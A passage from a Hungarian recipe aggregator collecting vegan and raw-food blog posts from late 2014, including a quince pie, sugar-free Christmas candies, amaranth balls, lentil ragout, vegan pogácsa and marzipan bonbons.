- 350 g birsalma vagy birskörte (én házi kompótból készítettem)
- 6 dl birslé (a kompót leve), szükség esetén vízzel pótolva
- 60 g zabpehely
- 65 g cukor
- egy zacskó vaníliás cukor
- 5 db szegfűszeg
- 20 g étkezési keményítő
- Először keverjük össze tészta száraz anyagait.
- Adjuk hozzá az olajat, a tejszínt, és annyi hideg vizet, hogy formázható labdácskát kapjunk.
- Pihentessük negyed órát, majd a felével béleljünk ki egy közepes sütőformát fél cm vastagon. Borítsuk le alufóliával, tegyünk rá nehezéket, így süssük nagy lángon 20 percig.
- Közben a birset vékonyra. Ha nem kompótból, hanem nyers birsből dolgozunk, akkor félig főzzük meg előtte a gyümölcsöt.
- A birsléből (főzővizéből), cukorból, szegfűszegből, zabpehelyből főzzünk sűrű masszát, ami kb. 20 percet vesz igénybe. Ha kész, vegyük ki belőle a szegfűszegeket.
- Egy kis vízben oldjuk fel a keményítőt, majd öntsük a masszához, jól keverjük el, és takarékon sűrűsítsük be.
- A tésztáról vegyük le a fóliát, fektessük rá a birsszeleteket, majd öntsük rá a masszát. Mozgassuk meg kicsit, hogy a massza összekeveredjen a körteszeletekkel.
- Nyújtsuk ki a maradék tésztát, és takarjuk be vele a pitét. A széleit nyomkodjuk össze kicsit, a tetejét pedig szurkáljuk meg.
- Süssük 200 fokos sütőben fél órán keresztül.
Jó étvágyat! Elkészítési idő: 90 perc
Egy kattintás, és nem maradsz le a további receptekről:
Megjelent a karácsonyi receptfüzetünk! Bővebb infóért KATT IDE!
Fügés-diós kókuszkrémes szelet
2014. december 4. Gréta konyhája
Mostanában elég sok nyers édességgel kísérletezem, mert a nem gyümölcsökből származó cukrokat egy időre (lehet januártól) el szeretném hagyni az étrendemből, kísérleti jelleggel. Az édes íz, azonban biztosan hiányozna, ezért folyamatosan keresgélek, alkotok, tesztelek és tapasztalok. Igyekszem minél kevesebb olajos magot használni, mert együtt a gyümölcsökkel nekem néha bántja a gyomrom, és hizlaló is lehet, szóval az arany középutat keresem ebben is. Például a táplálkozásban nekem a vegán életmód az arany középút, ami lehet furcsának tűnik, de én ebben az életformában találtam meg az egészségemet, a jó közérzetemet, és a fiatalság forrását is, nem utolsó sorban, az, hogy tehetek valamit a világ jobbításáért, lelkileg is jó érzéssel tölt el:) De vissza, ehhez a mennyei édességhez. Szerintem tökéletes ízharmónia, és energiabomba, mondjuk aktívan sportolóknak, de gyerekeknek is. Hozzávalók: A fügés alaphoz: 3/4 bögre dió (imádom, és minden nap kellene ennie mindenkinek!) 3 ek kókuszreszelék 1 ek lenmag (lehet pehely, vagy liszt is) 1/2 bögre aszalt füge, levágva a kemény tetejét, kettévágva 1/2 bögre datolya (natúr, glukózszirup mentes) 1 ek víz 1 tk fahéj Egy aprítóba tesszük, a hozzávalókat és lassan, alacsony fokozaton kezdjük, és addig tartson, míg formázható ragadós masszát kapunk. Ezt lenyomkodjuk egy kenyérforma, vagy egy keskenyebb szilikonforma aljába. (10cmX20cm pl) Egyenletesen oszlassuk el, nyomkodjuk le a kezünkkel, és simítsuk bele a formába. Ha a forma nem szilikonos és ragadhat, akkor béleljük ki előtte sütőpapírral. Ha kész, tegyük be a hűtőbe és kezdjünk hozzá a krémhez! Kókuszkrém: 1/2 bögre kesudió (előtte beáztatom minimum fél órára) 1/2 bögre sűrű kókusztej, a legjobb ha pl konzervest használunk, hogy egy éjszakára hűtőbe tesszük, és a tetején megjelenő sűrű krémet tesszük bele 3-4 ek kókuszreszelék vanília 2-3 ek növényi édesítő, bármilyen természetes szirup, stévia is lehet, csak folyékony A kesudiót kihagyhatjuk, ez esetben kókuszolajat (nyers) kellene használnunk, de akkor inkább a kesudió. Először a kesudiót teszem az aprítógépbe, majd amikor már kezd krémesedni, hozzáadom a kókuszkrémet, és az édesítőt, végül a vaníliát, kókuszreszeléket, és addig turmixolom, míg habos, selymes, krémes lesz. Kivesszük az alapot a hűtőből, rákanalazzuk a kókuszkrémet, eloszlatjuk egyenletesen, és visszatesszük a hűtőbe (nem, egy éjszakáig senki nem bírna várni, hogy megkóstolja) 2 óra hosszára, míg a süti összeáll. Ha eltelt az idő, tetejét friss fügével dekorálhatjuk. Jobb, mint bármelyik Kindermaxiking, vagy társaik, és ezerszer egészségesebb is! Jó étvágyat!
Tudod, mi van a bolti szaloncukorban? Így készíts cukormentes szaloncukrot!
2014. december 2. Éltető ételek
Évekkel ezelőtt, a korábbi munkahelyemen karácsonyra mindig kaptunk egy doboz szaloncukrot. Mire eljött a karácsony, már nem volt belőle, mindet felfaltam. Nos, azóta már sok víz lefolyt a Dunán, már évek óta nem veszek a boltban szaloncukrot. Viszont kíváncsiságból mindig megfordítom az üzletekben a szaloncukros dobozokat, zacskókat, és elolvasom az összetevőket. Elmondhatom, hogy évek óta nincs változás. Mindig ugyanazokat a "szemét" szaloncukrokat árulják. Igen, valóban így gondolom, ugyanis ezek táplálkozástudományi szempontból semmi értékeset nem tartalmaznak a szervezetünk számára. Sőt... Ha folytatod az olvasást, akkor elárulom, hogy miért is gondolom ezt így. Először is utánanéztem, hogy a Magyar Élelmiszerkönyv mit is ír a szaloncukorról. "A szaloncukor a karácsonyi ünnepkörhöz kötött, hagyományos termék, amely meghatározott szemnagyságú, két végén rojtozott selyempapírba és színes alufóliába vagy fóliába/fémgőzölt fóliába, pillangós zárással, szemenként csomagolt édesipari készítmény. A kiszáradás megakadályozására és az élvezeti érték növelésére a szemeket védőbevonattal (kandiszréteg vagy csokoládé-, illetve egyéb bevonat) látják el. " Hát eddig nem tudtuk meg, hogy mi is az előírás a szaloncukor összetevőit figyelembe véve. Nos, nem is tudjuk meg. Legalábbis ebben az irányelvben nincs meghatározva. Nézzük tovább: "Szaloncukorfajták Kandírozott szaloncukor: olyan szaloncukor, amelynek korpusza cukorkristály réteggel (kandisz) van bevonva.Mártott szaloncukor: olyan szaloncukor, amelynek korpusza ét-, tej- vagy fehércsokoládéval, illetve kakaós, kakaós tej vagy fehér bevonómasszával van bevonva. A bevonat aránya legalább 20%.Töltött (formázott) szaloncukor: olyan szaloncukor, amelynek külső része ét-, tej- fehércsokoládé-vagy bevonómassza. A burok aránya a termék összes tömegének legalább 25%-a.Fondanszaloncukor (konzum szaloncukor): olyan szaloncukor, amelynek korpusza fondanból készül, ízesítőanyagokkal ízesített, kandírozott vagy csokoládéval, illetve egyéb anyaggal van bevonva. Dúsított fondanszaloncukor: olyan szaloncukor, amelynek korpusza olajosmagvak, gyümölcsök, puffasztott gabonafélék stb. felhasználásával készül. A dúsítóanyagok mennyisége legalább 5% (m/m).Zselés szaloncukor: olyan szaloncukor, amelynek korpusza zselé, illetve gyümölcszselé.Marcipán-szaloncukor: olyan szaloncukor, amelynek korpusza mandulamarcipán, mogyorómarcipán, diómarcipán, kókuszmarcipán vagy vegyes marcipán. Vajkaramellás szaloncukor: olyan szaloncukor, amelynek korpusza vajkaramella." Kíváncsiságból tovább keresgéltem, hogy mit is ír az egyes cukorfajtákról: "Zselécukorka: A zselécukorkák kocsonyás, könnyen deformálható szerkezetű kolloid rendszerek, amelyeket cukor, glükózszirup, esetleg invertcukorszirup, különféle zselésítőanyagok és jellegkialakító adalékanyagok (ízesítő, színező) felhasználásával öntéssel formáznak és a felületüket védőbevonattal (kristálycukor, csokoládé, bevonómassza stb.) látják el. A megnevezés tartalmazza a ,,zselé vagy a 2,5% gyümölcs szárazanyagot tartalmazó termék esetén a,,gyümölcszselé szavakat, valamint az ízesítésre való utalást. " Akkor most nézzük meg konkrétan egy híres cukorgyár zselés szaloncukorjának összetevőjét: Málna ízű sziruppal töltött, citrom ízű zselé, kakaós étbevonó masszával mártva: cukor, glükóz szirup, kakaós étbevonó massza 20% [cukor, növényi zsír, zsírszegény kakaópor(10%), emulgeálószer (szójalecitin), aromák (csokoládé- vanília)], étkezési sav (citromsav), zselésítő anyag (pektin), aromák ( citrom, málna), színezék (E120) TI EZT MEG AKARJÁTOK ENNI??? Vagy ezt adjátok a gyerekeiteknek?? Semmi természetes NINCS benne! Tovább nem is szeretnék ezzel foglalkozni, inkább mutatok 3 olyan szaloncukor receptet, amit te magad is elkészíthetsz, és még hozzáadott cukrot SEM tartalmaz. Nem, mintha baj lenne a cukorral, ha az természetes. Nyugodtan használhatsz termelői mézet, kókuszvirágcukrot vagy akár nyers nádcukrot is. NYERS, EGÉSZSÉGES és TÁPLÁLÓ. 1. Narancsos brownie szaloncukor Hát ilyen finomat... nemhiába, a brownie mindig finom. Ez a tészta sok nyers süteményem alapja is, de most csak úgy natúr, szaloncukor készült belőle. Hozzávalók: - 20 dkg áztatott, szárított dió - 10 dkg áztatott, szárított mandula - 20 dkg cukrozatlan, aszalt datolya - 4-5 csepp narancsolaj - 1/2 mokkáskanál vaníliapor - 2 evőkanál cukrozatlan kakaópor - csipet só Elkészítése: A diót és a kis darabokra vágott datolyát tegyük egy késes konyhai gépbe, és morzsásra vágjuk. Ezután adjuk hozzá a kakaóport és a mandulát, és csak pár pulzálással daráljuk össze, hogy a mandula kissé nagyobb darabokba maradjon.Cseppentsük bele a narancsolajat, és gyúrjuk össze. Egyesével formáztam belőle szaloncukor formát.Mártsuk be nyers, narancsos csokiba.2. Fahéjas aszaltszilva zselés szaloncukor Hozzávalók: - 10 dkg aszalt szilva (legjobb a házi-, kén-dioxid- és cukormentes) - 10 dkg cukrozatlan aszalt datolya - 1/2 mokkáskanál ceyloni fahéj - 1/2 mokkáskanál vaníliapor Elkészítése: Először is vágjuk fel az aszalványokat kis darabokra. Éppen csak egy kicsi vizet öntsünk rá, és 1-2 órát hagyjuk puhulni.A felesleges vizet öntsük le róla, és ezután minden mehet a botmixerbe vagy a késes darabolóba. Nem muszáj, hogy teljesen krémes legyen.Ha formázható, akkor készíthetjük is a szaloncukrot. Ha egy kissé lágy lett a massza, akkor terítsük ki úgy 1 cm vastagon és tegyük be az aszalóba, vagy a sütőbe, vagy akár a radiátorra.Ezt szintén mártsuk be nyers csokiba. Én azért tettem hozzá datolyát, mert nekem házi aszalt szilvám van, és egy kissé savanykás. A datolya kellően megédesítette. 3. Zserbó szaloncukor Ennek itt találod a receptjét. A NYERS CSOKI receptjét itt találod. Jó étvágyat!
Csokis -narancsos kosárkák / Raw Muffins /
2014. november 29. Nyers konyha
A Füredi Adventi vásáron lesz nyers- élő édességes stand! Besegítek, így az én sütijeim is kóstolhatók lesznek. Holnapra ezeket a csokis- narancsos kosárkákat készítettem sok-sok szeretettel! Csokis- narancsos kosárkák: Kosár: (16 sütihez volt elég) 200 gramm mandula (lisztté őrölve) 200 gramm kókuszreszelék (lisztté őrölve) 3 evőkanál kókuszolaj 2 narancs leve 2 narancs reszelt héja 1 kiskanál fahéj 7 evőkanál kakaópor csipet só kb. 300 gramm mazsola késhegynyi vanília A mandulát és a kókuszreszeléket a turmixgéppel lisztté őröltem. Ezt a lisztet az s késes robotgépbe öntöttem. Hozzátettem a többi száraz hozzávalót, a fahéjat, kakaóport, sót, vaníliát és összekevertem. A mazsolát vízzel átmostam, 10-20 percig beáztattam, majd lecsöpögtettem a vizet róla és turmixgépbe tettem. Belereszeltem a narancs héját és beleszeltem a narancsot. Hozzátettem még a kókuszolajat is és így pépesre turmixoltam. Ezzel a mazsola péppel édesítettem a tésztát. A robotgépbe a száraz hozzávalókhoz öntöttem a mazsolapépet és összedolgoztam. Szépen összeáll az egész. Lehet kóstolgatni, ha nem elég édes érdemes még édesíteni rajt, akár steviával is... A kész tésztát szilikon formákba nyomkodtam, úgy hogy a tészta beletétele után egy másik formát nyomtam a belsejébe, a lényeg, hogy a belsejében nagy helyet képezzünk a krémnek. Formástól hűtőbe tettem kicsit, hamar megkeményedik és így szépen kijön a formából a tészta. Csokis -narancsos krém: 1 avokádó 4 evőkanál kókuszolaj 1 nagy banán 4 evőkanál kakaópor késhegynyi fahéj csipet só csipet vanília kb.100 gramm mazsola 1 narancs 1 narancs reszelt héja Minden hozzávalót turmixgépbe tettem és krémesre dolgoztam. Ha nem elég édes még tovább édesíthető... A krémet habnyomóba tettem, és kicsit pihentettem a hűtőben, hogy kissé megkeményedjen. A kosárkákba nyomtam, majd díszítettem. Díszítés: alma, szilva, szőlő, gránátalma, menta, narancs. Akár a kosárka aljába, a krém alá is lehet gyümölcsöt tenni :)
Kéksajtos amaránt golyók grillezett zöldségekkel
2014. november 27. Zöld Avocado
Csak nem akar egy nap 24 helyett mondjuk 30 órából állni. Pedig én nagyon örülnék neki! :-D Főleg mostanában! ;-) Kéksajtos amaránt golyók grillezett zöldségekkel Egy újabb roppant egyszerű receptet hoztam nektek. A neve alapján különlegesnek tűnik, de egyáltalán nem az. Sokszor a gasztronómia már csak ilyen. Egy hangzatos név mögött egyszerű étel áll. :-) Ezt az ízletes és szemet gyönyörködtető tálat is akárki elkészítheti, különleges konyhai jártasság nélkül. Bár a köret nem hétköznapi hozzávalókat tartalmaz, nem kell tőle megijedni. Az amaránt és a puffasztott amaránt is könnyedén beszerezhető Magyarországon is. Számos webáruház létezik, melyekről jó áron házhozszállítással hozzá lehet jutni különböző gabonákhoz, melyek táplálkozási szempontból sokkal értékesebbek, mint a hagyományos rizs, melyet előszeretettel fogyasztunk. Ajánlom, hogy próbáljatok ki újabb és újabb gabonákat, és ami megtetszik, abból legyen mindig egy zacskóval a rizs mellett a konyha szekrényben. ;-) Hogy mit lehet a rizs helyett a tányérunkra tenni köretként? Pl.: Amarántot, kölest, hajdinát, kuszkuszt, bulgurt, vagy quinoa-t stb. A gabonákról a későbbiekben még majd jelentkezem egy külön bejegyzéssel. Nem is nagyon ragozom tovább. Vágjunk bele! ;-) kéksajtos amaránt golyók grillezett zöldségekkel HOZZÁVALÓK: (kb.22 db golyóhoz) - 1 bögre amaránt - 2 bögre víz - 3 gerezd fokhagyma - 1 bögre puffasztott amaránt (vagy mandula liszt helyette) - 1/2 bögre mandula liszt - 1 ek útifűmaghéj (Psylium Husk) - 100 g kék sajt / márvány sajt - 1 bögre dió - Himalája só - Kókuszzsír - - grillezni kívánt zöldségek (pl.: padlizsán, pritamin paprika, cukkini) ELKÉSZÍTÉS: 1 bögre amaránt 2 bögre vízben fedő alatt kb. 30 perc alatt készre főzve. A vízbe préseljünk 3 gerezd fokhagymát. Miután elfőtte a levet, és már sűrű kása jellegű, de még nem szemcsés, keverjük bele a 100 g reszelt kéksajtot. Hagyjuk az egészet kihűlni. Hűlés után tegyünk hozzá 1 bögre puffasztott amarántot, 1/2 bögre mandula lisztet, 1 ek útifűmaghéjat és egy kevés sót. Keverjük össze, és hagyjuk egy fél órát dermedni. Letelt a fél óra. Formázzunk a kezünkkel amaránt gombócokat (kb.2-3 cm átmérőjű), majd forgassuk őket frissen darált dióba. (1 bögre dió ledarálva). Miután végeztünk az összes golyóval, tegyük őket a hűtőbe 1-2 órára, hogy még keményebb golyókat kapjunk. kéksajtos amaránt golyók Akár már délelőtt is elkészíthetjük az amaránt golyókat, hogy este a vacsi előtt csak elő kelljen kapni őket a hűtőből. (Érdemes korábban kivenni, hogy inkább szoba hőmérsékletű legyen, mint hűtő hideg.) Közben a grillezni kívánt zöldségeket előkészíthetjük. Én ebben az esetben színes vastag húsú pritamin paprikát, cukkinit és padlizsánt használtam. A zöldségeket tetszés szerinti méretben feldaraboltam, és megmostam. A tűzhelyre tettem a ,,grill serpenyőt, és kókuszzsírral kikentem. A cukkini karikáknak nem kell sok idő, mert akkor finom, ha még roppanós. Éppen, hogy megcsíkozzuk a külsejét mindkét oldalon, és kész is. A paprika egy kicsit tovább tart, és folyamatos kókuszzsír utánpótlást igényel, hogy ne égjen oda, de azért süljön is. A padlizsánt érdemes a végére hagyni, mert az alá egy kis víz sem árt. Miután a serpenyőben lesült a paprika, és a cukkini, ha ráöntünk 1 dl vizet, akkor a víz feloldja a lesült zöldség darabkákat a serpenyőről, amitől még finomabb íze lesz a padlizsánnak. A víz azért kell, hogy egy kicsit párolódjon a padlizsán, amit kb. 1 cm vastag darabokra vágtam fel. Miután elfő a lé a padlizsán alól, hagyjuk még egy kicsit grilleződni. Közben forgassuk is meg őket, hogy mindkét oldal piruljon. Ez tart a legtovább, de megéri. grillezett zöldségek Természetesen más zöldségeket is felhasználhatunk, és ha nincs otthon grillezős serpenyő, akkor használjuk a hagyományos tojás sütő serpenyőt, és süssük meg a zöldségeket abban. Vagy akár sütőben sütő papíron is elkészíthetjük őket, meglocsolva a zöldségeket egy kis kókusz zsírral. Ugye, hogy nem is volt olyan bonyolult? ;-) Jó étvágyat hozzá! kéksajtos amaránt golyók grillezett zöldségekkel Megjegyzés1: Szerintem mehetne a golyókba több kéksajt, mert én nagyon szeretem az ízét. :-) Balázs szerint pedig több fokhagyma, mert ő meg azt szereti. ;-) Mindenki döntse el, melyik táborba tartozik?! Megjegyzés2: ha nagyon nem megy a különleges gabona beszerzése, természetesen elkészíthetjük rizzsel is a gombócokat. De azért legalább jó minőségű barna rizst használjunk, ne sima fehéret. ;-)
Banános-csokis tejberizs mandarinnal
2014. november 25. Éltető ételek
Hirtelen felindulásból készült ez a desszert. Volt egy kevés tejrizs a spájzban, valamint épp vettem a DM-ben fincsi vaníliás rizstejet. Ez az egyfajta (ISOLA), amit elfogadnak a gyerekek, és valóban még nekem is ízlik. Nos, ez volt az alap tej, és persze kásának is nevezhetjük, de jobban hangzik a tejberizs, igaz? A gyerekkoromat idézi, gyakran került az asztalra, no de ez csak nevében hasonlít rá, annál finomabb és egészségesebb. Hozzávalók (2 adag): - 1 bögre tejrizs - 3 bögre vaníliás rizstej - 1/2 kávéskanál valódi vaníliapor - csipet himalája só - 1 evőkanál kókuszreszelék KÉN-DIOXID mentes legyen, sokkal finomabb!!! - 1 evőkanál mazsola - 1 banán - 1 mandarin - narancs- vagy mandarinolaj - 2 teáskanál cukrozatlan kakaópor - ízlés szerint juharszirup vagy más alternatív édesítő (pl. kókuszvirágcukor) Elkészítése: - A tejet tegyük fel főni, adjuk hozzá a kókuszt, vaníliaport és a mazsolát. - Szórjuk bele az átmosott rizst, és főzzük puhára. - A banánt villával törjük össze, majd keverjük a megfőtt tejberizshez. Nyomjuk bele a mandarin levét, pár csepp narancsolajat és a kakaóport is keverjük hozzá. Ekkor már nem kell visszatenni a tűzre. - Díszítsük mandarinnal.Jó étvágyat
Fokhagymás-chilis krumplileves savanyú káposztával
2014. november 23. Éltető ételek
Gyerekkoromban a krumplileves mindig tejföllel és kolbásszal készült. Nos, az alap megmaradt - mármint a krumpli és a fokhagyma -, de mellékerült a savanyúkáposzta. Ez kellő savanyságot ad (korábban ezt a tejföl biztosította) Hozzávalók: - 5-6 nagyobb burgonya - 1 evőkanál kókuszolaj - 2 evőkanál zabliszt - pirospaprika, só, bors - 3-4 gerezd fokhagyma - késhegynyi chili - 2-3 marék házi savanyúkáposzta - ha nem elég savanyú: kevés citromlé Elkészítése: - A kókuszolajat forrósítsuk fel, majd szórjuk bele a zablisztet. Keverjük, hogy ne égjen meg, és pár keverés után vegyük le a tűzről. - Szórjuk meg pirospaprikával, és öntsük fel vízzel. - Tegyük bele a kockára vágott krumplit,, a felszeletelt fokhagymát és a fűszereket. - Főzzük meg, majd a végén tegyük bele a savanyú káposztát. Pár percig még összefőzhetjük, de nem szükséges, ha állni hagyjuk egy kevéske ideig. Ha nem elég savanyú, csavarjunk bele egy kevéske citromlevet.Jó étvágyat.
Kozáksapka vagy hólabda reformosan (vegán)
Gyermekkoromat idézi ez a süti. A legtöbb karácsonykor készítettünk ilyet. Örömömre szolgál, hogy ez is elkészíthető tojás, tej, fehér cukor, margarin nélkül. Remek lehetőség akár a (vegán) karácsony vagy más ünnep menüjébe iktatva, s így egészséget kímélve ugyanakkor hagyományos ízt sem nélkülözve lehet részünk az édes csábításban.
A recept
Hozzávalók:
Sütemény tésztája:
- 1 bögre liszt (1/3 része teljes kiőrlésű, 2/3 része fehér liszt
- 1 teáskanál szódabikarbóna vagy foszfátmentes sütőpor
- 1 evőkanál édesítő (kókuszvirág-cukor/gyümölcscukor/nyírfacukor, stb)
- 1 evőkanál karobpor vagy kakaópor
- 1/2 vanília belseje
- 2 evőkanál napraforgó olaj
- kb 1 bögre víz
Elkészítés:
Először a száraz alapanyagokat keverjük össze (liszt, szódabikarbóna/sütőpor, édesítő, karob por, vanília belseje), annyi vizet öntünk hozzá, ami által piskóta-szerű tésztát kapunk. Ekkor keverünk még hozzá egy kevés olajat. Kb. 20 perc alatt készre sütjük. A megsült tésztát pogácsaszaggatóval kiszaggatjuk, az így kapott korongokat kettévágjuk, megtöltjük mindegyik korongot krémmel, kókuszba forgatjuk a szélét, majd karobos/kakaós csokiszószt kanalazunk a tetejére. Hidegen tároljuk néhány órát vagy egy éjszakát, majd fogyasztható is.
Kókuszos krém:
- 1/2 liter rizstej (rizstejpor - gazdagon - és víz, vagy dobozos rizstej, vagy saját készítésű risztej)
- 10 dkg kókuszreszelék
- vanília belseje
- reszelt citromhéj
- 3-4 evőkanál édesítő (kókuszvirág-cukor/gyümölcscukor/nyírfacukor, stb)
- 2-3 evőkanál kukoricakeményítő
- 3 evőkanál lágy kókuszzsír
A krém elkészítése:
A rizstejet feltesszük főzni, és elkeverjük benne a lereszelt citrom héját, a kikapart vaníliát, a kókuszreszeléket és az édesítőt. A kukoricakeményítőt kb. 1/2 dl vízzel simára keverjük, és a rizstejhez keverjük folyamatos keverés közben. Miután besűrűsödött, mint a puding, levesszük, és langyosra hűtjük. Mielőtt kihűlne, beletesszük a kókuszzsírt. Egy kevés frissen facsart citromlevet is adhatunk hozzá.
Csokimáz:
- 2 evőkanál karobpor vagy kakaórpor1
- 2 evőkanál édesítő (kókuszvirág-cukor/gyümölcscukor/nyírfacukor, stb)
- 2 evőkanál kókusz zsír
- 3-4 evőkanál növényi tej
A máz elkészítése:
A kókuszzsírt megolvasztjuk, beleszórjuk a karobport, vagy kakaópor, hozzáadunk ízlésünknek megfelelő mennyiségű édesítőt (nádcukor, nyírfacukor, stb.) Alacsony lángon forráspontig keverjük, majd növényi tejet is hozzáadunk. Még kevergetjük, míg újra forrni kezd, lezárjuk, kihűtjük, majd a sütemény tetejére kenjük.
Indiai lencseragu édesburgonyával
2014. november 21. Gréta konyhája
Biztosan ti is sokszor gondolkodtok mit főzzetek este, milyen laktató, tartalmas, egészséges, de nagyon finom vacsorával lepjétek meg a családot. Nekem az agyam, (nem fog titeket meglepni) többnyire az ételek körül forog, de még így is vannak napok, amikor fogalmam sincs mit kellene főzni. Ez a recept tökéletes az ilyen napokra, főleg esős, hűvös időben. Nagyon, nagyon, nagyon imádom az autentikus indiai ételeket, és néha kifejezetten szeretem, ha elém rakják egy étteremben, de túlnyomó részt mégis otthon készítem el, mert az ízét nem lehet eltéveszteni, és sokkal költségtakarékosabb is. Hozzávalók: 4-6 személyre 400g lencse beáztatva 2 db édesburgonya 1 szál póréhagyma 2 fej vöröshagyma 5-6 gerezd fokhagyma hüvelyk ujjnyi friss gyömbér 1 csapott ek garam masala fűszerpor 1 csapott ek curry por 1/2 ek tikka masala fűszerpor só, vegamix ízlés szerint 1 doboz sűrű kókusztej 1-2 szál sárgarépa víz 1-2 ek tápióka liszt (kukoricakeményítő is jó) abban az esetben, ha kevesebb vizet adunk hozzá, és nem olyan leveses, elhagyhatjuk, de én szeretem főzelékesen. Egy wokban, (vagy nagyobb serpenyőben) felhevítem az olíva olajat, és megpárolom a felaprított hagymákat, majd a fokhagymák felét aprítva. Folyamatosan kevergetem kb 3 percig, majd belereszelem a friss, hámozott gyömbért, pirítom pár percig. Hozzáadom a félholdakra vágott répát, és a kisebb kockákra vágott édesburgonyát, majd a fűszereket, jól alaposan összekeverem, pár percig kevergetve rázogatva pirítom. Jöhet bele a beáztatott, lecsepegtetett, leszűrt lencse. Összekeverem, majd felöntöm annyi vízzel, hogy rendesen ellepje kb ujjnyi vastagon. Hozzáadom a maradék fokhagymát, és lefedve megfőzöm a lencsét, közben megdagad, besűrűsödik. Megsózom, majd ha a lencse puha, a kókusztej sűrűjét hozzáadom, átlátszó részét, pedig elkeverem a tápióka keményítővel csomómentesre. Kavargatva hozzáöntöm ezt a keveréket, és nagyon gyorsan keverem, mert sűrűsödni fog. Addig kevergetjük, míg újra fel nem forr, majd levesszük a tűzről. Főzelékállagot kell kapjunk. Én rendszerint ilyenkor még sózom, fűszerezem addig míg tökéletes lesz. Bármilyen kenyérfélével ajánlom. Jó étvágyat! UI: Gluténmenteseknek ajánlom még quinoával, vagy rizssel összekeverve. A fűszereket bioboltokban, vagy ázsiai alapanyagokat árusító üzletekben lehet beszerezni, de decembertől a tündérporok már a webáruházamban is elérhetőek lesznek.
Vegán (édes)burgonyás pogácsa
2014. november 16. Zizi kalandjai
Ma délután babatalálkozós édesburgonya (batáta) partira voltunk hivatalosak a barátainkhoz… hogy miért pont édesburgonya a parti témája, annak hosszú története van, de a lényeg, hogy sikerült végre magyar, ásotthalmi édesburgonyát vennem. Valójában ez egy burgonyás pogácsa, csak tettem hozzá egy darab édesburgonyát is, ami szépen megszínezte sárgára (igen, a szín nem tojástól van). Természetesen elkészíthető csak burgonyából is, nem kötelező édesburgonyát tenni bele.
Még soha nem sütöttem vegán pogácsát, de úgy érzem, hogy első alkalomnak kiváló volt ez az indulás. Mindig idegenkedtem a “margarin” használatától, de aztán rájöttem, hogy most már vannak igen jó minőségű margarinok – erről beszél Tóth Gábor élelmiszeripari mérnök is ebben a cikkben -, plusz vannak olyanok, akik laktózérzékenységük miatt bármennyire is szeretnék, nem fogyaszthatnak vajat. Egyébként ebbe a pogácsába csak egy kevés bio margarin (nem génkezelt alapanyagokból készült, nem hidrogénezett!) került, mert nem volt itthon több, a maradék zsiradékot puha kókuszzsírral váltottam ki. Finom, puha pogácsákat kapunk végeredményül, amely a háromszori hajtogatásnak köszönhető. Szóval idő mire elkészül a pogácsa, viszont nagy munkát nem igényel, és a végeredmény magáért fog beszélni.
Ádi is rájárt, bár ő inkább kikapott egyet, harapott belőle, visszarakta, majd kivett egy másikat, abból is harapott egy falatkát…
Vegán (édes)burgonyás pogácsa
Hozzávalók:
- 500 g burgonya + édesburgonya (egy közepes darab), meghámozva, felkockázva
- 500 g simaliszt
- 250 g jó minőségű margarin / kókuszzsír, szobahőmérsékletű
- 1 tasak (7-9 g) szárított élesztő
- 125 ml langyos rizstej + egy kevés a kenéshez
- só
Tegyük egy lábasba a burgonyát + édesburgonyát, öntsük fel vízzel és főzzük puhára. Szűrjük le, majd törjük pépesre burgonyatörővel.
Öntsük egy bögrébe a langyos rizstejet, adjuk hozzá az élesztőt, keverjük el és hagyjuk felfutni 4-5 perc alatt.
Tegyük egy tálba az összetört burgonyát, adjuk hozzá a lisztet, a puha margarint/kókuszzsírt, a felfutott élesztőt, majd sózzuk ízlés szerint. Gyúrjuk össze a tésztát, majd takarjuk le egy konyharuhával és hagyjuk 45 percet kelni. Lisztezett deszkán nyújtsuk ki fél centiméter vastagra, majd a négy oldalát középre hajtva hajtogassuk össze. Tegyük rá a konyharuhát és hagyjuk kelni 15-20 percet. Nyújtsuk ki, majd megint hajtogassuk össze… ezt ismételjük összesen még kétszer. Az utolsó nyújtásnál szintén fél centiméter vastagra hagyjuk a tésztát, késsel rácsozzuk be a tetejét. Szaggassunk pogácsákat belőle, tegyük sütőpapírral bélelt tepsire és kenjük meg a tetejüket rizstejjel.
Süssük 180C fokon kb. 20 percig, amíg aranybarnák lesznek.
Tojás- és tejmentes csokis-kókuszos keksz
2014. november 14. Éltető ételek
Ez a keksz finomabb, mint a "Jó reggelt". Gyorsan elkészül, tojásmentes, és akár karácsonyi keksz is lehet belőle. Hozzávalók: - 10 dkg aprószemű zabpehely - 10 dkg teljeskiőrlésű tönkölyliszt - 10 dkg vaj vagy valódi kókuszolaj - 5 dkg méz - 5 dkg kókuszreszelék - 1 evőkanál cocomas kókuszkrém - 2-3 csepp narancsolaj - 5 dkg csokireszelék - csipet só Elkészítése: - A vajat morzsoljuk el a liszttel, majd adjuk hozzá a többi hozzávalót is. - Csak annyi kókuszkrém kell hozzá, hogy kellően gyúrható, nem folyékony masszát kapjunk. - Nyújtsuk ki 2-3 mm vastagra, és szaggassuk ki kedvenc formánkkal. - Előmelegített sütőben 180 fokon süssük meg kb. 15 perc alatt.
100. recept: Szexi csokoládé
Jubileumot ülünk ma: 5 hónapos a blog, és ez kereken a 100. recept rajta. (na, jó, nem teljesen véletlenül jött így ki!) :) Ebből a különleges alkalomból egy igazán különleges finomsággal leplek meg titeket: Szexi csokoládé! A név kicsit csal, mert ebben a bonbonban igazából kevés a csoki. Viszont szexinek nagyon szexi, és a marcipán - kávé - aszalt szilva kombóval szerintem bárkit le lehet venni a lábáról. Ha ezt azért nem is, de egy másik sikerélményt mindenképp garantálok: a fantasztikus díszítés meglepően egyszerű lesz. :)
Hozzávalók 9-10 bonbonhoz:
- 120 g marcipán
- 75 g zabpehely
- 15 g nádcukor
- 15 g kókuszolaj
- egy erős espresso kávé
- 5 szem aszalt szilva
- 1-2 kocka étcsokoládé
- 2 teáskanál (mandula)tej
- A zabpelyhet aprítógépben daráljuk apróra, adjuk hozzá cukrot, a kókuszolajat, és annyi feketekávét, hogy jól formázható masszát kapjunk.
- Gyúrjunk 2-3 cm átmérőjű golyókat, lapítsuk ki, tegyünk bele fél aszalt szilvákat, majd gyúrjuk össze ismét.
- A marcipánt kicsit gyúrjuk át, hogy átmelegedjen, így már könnyebb lesz kinyújtani fél cm vastagra. Egy körülbelül hat cm átmérőjű szaggatóval szakítsunk belőle korongokat, ezeket egyenként kézzel nyomkodjuk tovább, majd bugyoláljuk be vele a bonbonokat.
